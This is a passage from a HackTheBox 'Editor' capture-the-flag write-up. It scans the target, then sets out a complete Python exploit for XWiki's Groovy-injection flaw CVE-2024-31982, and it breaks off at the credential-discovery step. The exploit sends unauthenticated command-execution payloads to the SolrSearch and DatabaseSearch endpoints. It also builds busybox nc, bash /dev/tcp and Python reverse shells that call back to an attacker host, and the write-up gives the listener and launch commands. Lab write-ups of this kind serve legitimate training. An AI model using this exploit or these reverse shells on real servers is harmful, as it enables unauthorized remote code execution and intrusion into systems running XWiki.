HTB Editor Box - Complete Writeup

Difficulty: Easy
OS: Linux

Overview

Editor is an easy-level Linux machine that demonstrates real-world vulnerabilities in web applications. The attack path involves exploiting a CVE in XWiki, credential harvesting from configuration files, and privilege escalation through a vulnerable SUID binary.

Key Learning Points:

  • XWiki Groovy Code Injection (CVE-2024-31982)
  • Configuration file enumeration
  • SUID binary exploitation
  • PATH manipulation attacks

Reconnaissance & Enumeration

Nmap Port Scan

Starting with a comprehensive port scan to identify running services:

nmap -sC -sV -oA editor 10.x.x.x

Results:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-02 15:37 CDT
Host is up (0.082s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
8080/tcp open  http    Jetty 10.0.20
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
| http-webdav-scan: 
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Type: Jetty(10.0.20)
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.09 seconds

Key Findings:

  • Port 22: SSH service (OpenSSH 8.9p1)
  • Port 80: Nginx web server hosting "Editor - SimplistCode Pro"
  • Port 8080: Jetty server running XWiki application

The most interesting finding is the XWiki instance on port 8080, which shows multiple administrative endpoints in robots.txt and uses WebDAV methods.

XWiki Version Discovery

Navigating to http://editor.htb:8080/xwiki reveals an XWiki installation:

An image to describe post

Critical Discovery: XWiki Version 15 is vulnerable to CVE-2024-31982 - a remote code execution vulnerability through Groovy script injection.


Initial Foothold - XWiki CVE-2024-31982

Vulnerability Analysis

CVE-2024-31982 affects XWiki versions and allows unauthenticated remote code execution through:

  • Groovy script injection in search endpoints
  • Bypass of access controls through RSS feed functionality
  • Multiple attack vectors via different endpoints (SolrSearch, DatabaseSearch)

Exploit Development

Created a comprehensive Python exploit that handles multiple attack scenarios:

#!/usr/bin/env python3
import requests
import argparse
import urllib.parse
import urllib3
from html import unescape
import sys

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class XWikiExploit:
    def __init__(self, target):
        self.target = target
        self.base_url = self.detect_protocol()
        
    def detect_protocol(self):
        """Auto-detect HTTP/HTTPS and verify target accessibility"""
        protocols = ['https', 'http']
        
        for protocol in protocols:
            test_url = f"{protocol}://{self.target}"
            try:
                response = requests.get(f"{test_url}/xwiki", timeout=5, verify=False)
                if response.status_code < 400:
                    print(f"[✓] Target accessible: {test_url}")
                    return test_url
            except:
                continue
                
        print("[!] Target not accessible")
        sys.exit(1)
    
    def build_groovy_payload(self, command):
        """Construct Groovy command execution payload"""
        groovy_template = (
            "def sout = new StringBuilder(), serr = new StringBuilder(); "
            "def proc = '{cmd}'.execute(); "
            "proc.consumeProcessOutput(sout, serr); "
            "proc.waitForOrKill(3000); "
            "println \"$sout$serr\";"
        )
        
        return groovy_template.format(cmd=command.replace('"', '\\"'))
    
    def build_reverse_shell_payload(self, lhost, lport, shell_type="busybox"):
        """Build reverse shell payload"""
        if shell_type == "busybox":
            cmd = f"busybox nc {lhost} {lport} -e /bin/sh"
        elif shell_type == "bash":
            cmd = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
        elif shell_type == "python":
            cmd = f"python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{lhost}',{lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i'])\""
        
        return cmd
    
    def execute_command(self, command, endpoint="SolrSearch"):
        """Execute command and return output"""
        groovy_payload = self.build_groovy_payload(command)
        
        # Construct the injection payload
        injection = "}}}{{async async=false}}{{groovy}}" + groovy_payload + "{{/groovy}}{{/async}}"
        
        # URL encode the payload
        encoded_payload = urllib.parse.quote_plus(injection)
        
        # Build endpoint URL
        if endpoint == "SolrSearch":
            endpoint_url = self.base_url + "/xwiki/bin/get/Main/SolrSearch?media=rss&text=" + encoded_payload
        elif endpoint == "DatabaseSearch":
            endpoint_url = self.base_url + "/xwiki/bin/get/Main/DatabaseSearch?outputSyntax=plain&space=&text=" + encoded_payload
        
        try:
            response = requests.get(endpoint_url, timeout=10, verify=False)
            if response.status_code == 200:
                return self.extract_output(response.text)
            else:
                return f"HTTP {response.status_code}: {response.text[:200]}"
        except Exception as e:
            return f"Request failed: {str(e)}"
    
    def extract_output(self, response_text):
        """Extract command output from RSS response"""
        import re
        
        # Try multiple extraction patterns
        patterns = [
            r'<description>RSS feed for search on \}}}(.*?)</description>',
            r'<description>(.*?)</description>',
            r'<content:encoded><!\[CDATA\[(.*?)\]\]></content:encoded>'
        ]
        
        for pattern in patterns:
            matches = re.findall(pattern, response_text, re.DOTALL)
            if matches:
                return unescape(matches[0].strip())
        
        return "No output extracted"
    
    def send_reverse_shell(self, lhost, lport, shell_type="busybox"):
        """Send reverse shell payload"""
        print(f"[+] Sending {shell_type} reverse shell to {lhost}:{lport}")
        
        command = self.build_reverse_shell_payload(lhost, lport, shell_type)
        encoded_command = command.replace('"', '\\"')
        
        # Use SolrSearch for reverse shells (fire and forget)
        injection = "}}}{{async async=false}}{{groovy}}\"" + encoded_command + "\".execute(){{/groovy}}{{/async}}"
        encoded_payload = urllib.parse.quote_plus(injection)
        
        endpoint_url = self.base_url + "/xwiki/bin/get/Main/SolrSearch?media=rss&text=" + encoded_payload
        
        try:
            requests.get(endpoint_url, timeout=5, verify=False)
            print("[✓] Reverse shell payload sent")
        except:
            print("[✓] Payload sent (connection may have been cut)")

def main():
    parser = argparse.ArgumentParser(description='XWiki CVE-2024-31982 Exploit')
    parser.add_argument('-t', '--target', required=True, help='Target (e.g., editor.htb:8080)')
    parser.add_argument('-c', '--command', help='Command to execute')
    parser.add_argument('-r', '--reverse-shell', action='store_true', help='Send reverse shell')
    parser.add_argument('--lhost', help='Local host for reverse shell')
    parser.add_argument('--lport', help='Local port for reverse shell')
    parser.add_argument('--shell-type', choices=['busybox', 'bash', 'python'], default='busybox')
    parser.add_argument('--endpoint', choices=['SolrSearch', 'DatabaseSearch'], default='SolrSearch')
    
    args = parser.parse_args()
    
    # Initialize exploit
    exploit = XWikiExploit(args.target)
    
    if args.reverse_shell:
        if not args.lhost or not args.lport:
            print("[!] --lhost and --lport required for reverse shell")
            sys.exit(1)
        exploit.send_reverse_shell(args.lhost, args.lport, args.shell_type)
    elif args.command:
        output = exploit.execute_command(args.command, args.endpoint)
        print(f"[Command Output]:\n{output}")
    else:
        print("[!] Specify either --command or --reverse-shell")

if __name__ == "__main__":
    main()

Exploitation Process

Step 1: Set up listener

nc -lvnp 4444

Step 2: Execute reverse shell

python3 exploit.py -t editor.htb:8080 -r --lhost 10.10.xx.xx --lport 4444

Success! Obtained reverse shell as xwiki user:

An image to describe post

An image to describe post


Post-Exploitation & Credential Discovery

System Enumeration

After gaining initial access as the xwiki user, performed standard post-exploitation enumeration to understand the system and find escalation paths.

Configuration File Analysis

Key Discovery: